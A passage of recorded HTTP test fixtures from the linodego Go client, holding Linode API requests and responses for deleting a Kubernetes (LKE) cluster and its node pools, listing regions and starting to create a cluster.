"disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8208/nodes/10169-4253e0cf0000 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8208/pools/10169 method: GET response: body: '{"id": 10169, "type": "g6-standard-2", "count": 1, "nodes": [{"id": "10169-505f3e6b0000", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8208/pools/10169 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8208 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKENodePoolNode_Get.yaml000066400000000000000000001023071474652371000317730ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:52:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-lke-test-def","region":"ap-west","k8s_version":"1.29","tags":["testing"]}' form: 